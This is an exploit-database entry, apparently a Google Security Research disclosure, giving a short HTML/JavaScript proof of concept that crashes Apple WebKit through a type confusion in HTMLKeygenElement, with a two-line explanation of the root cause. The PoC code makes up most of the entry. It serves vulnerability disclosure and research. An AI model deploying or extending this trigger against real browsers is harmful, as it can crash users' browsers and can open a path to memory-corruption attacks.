Apple WebKit - HTMLKeygenElement Type Confusion Exploit

ID 1337DAY-ID-26868
Type zdt
Reporter Google Security Research
Modified 2017-02-01T00:00:00


Exploit for multiple platform in category dos / poc

                                            <!-- Source: -->
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
keygen_element.disabled = true;
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.

# [2018-01-05]  #